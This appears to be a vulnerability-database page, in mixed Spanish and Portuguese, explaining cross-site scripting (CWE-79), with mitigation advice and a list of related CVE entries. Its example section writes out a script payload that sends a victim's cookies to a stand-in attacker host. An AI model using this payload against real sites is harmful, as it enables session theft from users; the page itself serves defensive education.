Fallos del tipo CWE-79

29.319 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-3294HIGHCross-site Scripting (XSS) - DOM in saleor/react-storefrontEPSS 0.5%CVE-2024-37673MEDIUMCross Site Scripting vulnerability in Tessi Docubase Document Management product 5.x allows a remote attacker to execute arbitrary code via EPSS 0.5%CVE-2024-22635MEDIUMWebCalendar v1.3.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the component /WebCalendarvqsmnseug2/eEPSS 0.5%CVE-2026-5255MEDIUMcode-projects Simple Laundry System Parameter delstaffinfo.php cross site scriptingEPSS 0.5%CVE-2023-50376HIGHWordPress Simple Membership Plugin <= 4.3.8 is vulnerable to Unauth. Reflected Cross Site Scripting (XSS)EPSS 0.5%CVE-2024-37145MEDIUMGHSL-2023-247: Flowise xss in /api/v1/chatflows-streaming/idEPSS 0.5%CVE-2026-4849MEDIUMcode-projects Simple Laundry System Parameter modify.php cross site scriptingEPSS 0.5%CVE-2024-2665MEDIUMPremium Addons for Elementor <= 4.10.27 - Authenticated (Contributor+) Stored Cross-Site Scripting via ButtonEPSS 0.5%CVE-2024-53273MEDIUMGHSL-2024-110: Reflected XSS in /register in habiticaEPSS 0.5%CVE-2024-37671MEDIUMCross Site Scripting vulnerability in Tessi Docubase Document Management product 5.x allows a remote attacker to execute arbitrary code via EPSS 0.5%CVE-2024-9635MEDIUMCheckout with Cash App on WooCommerce <= 6.0.2 - Reflected Cross-Site ScriptingEPSS 0.5%CVE-2024-56915MEDIUMNetbox Community v4.1.7 and fixed in v.4.2.2 is vulnerable to Cross Site Scripting (XSS) via the RSS feed widget.EPSS 0.5%CVE-2023-34008HIGHWordPress WP ERP Plugin <= 1.12.3 is vulnerable to Cross Site Scripting (XSS)EPSS 0.5%CVE-2023-29837MEDIUMCross Site Scripting vulnerability found in Exelysis Unified Communication Solution (EUCS) v.1.0 allows a remote attacker to gain privilegesEPSS 0.5%CVE-2026-25868MEDIUMMiniGal Nano <= 0.3.5 Reflected XSS via dir ParameterEPSS 0.5%CVE-2023-1805MEDIUMProduct Catalog Feed by PixelYourSite < 2.1.1 - Reflected XSSEPSS 0.5%CVE-2023-34022HIGHWordPress Dynamic QR Code Generator Plugin <= 0.0.5 is vulnerable to Cross Site Scripting (XSS)EPSS 0.5%CVE-2026-32940CRITICALSiYuan has a SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)EPSS 0.5%CVE-2024-51735HIGHStored Cross-site Scripting to RCE on Osmedeus Web ServerEPSS 0.5%CVE-2024-11330MEDIUMCustom CSS, JS & PHP <= 2.3.0 - Reflected Cross-Site ScriptingEPSS 0.5%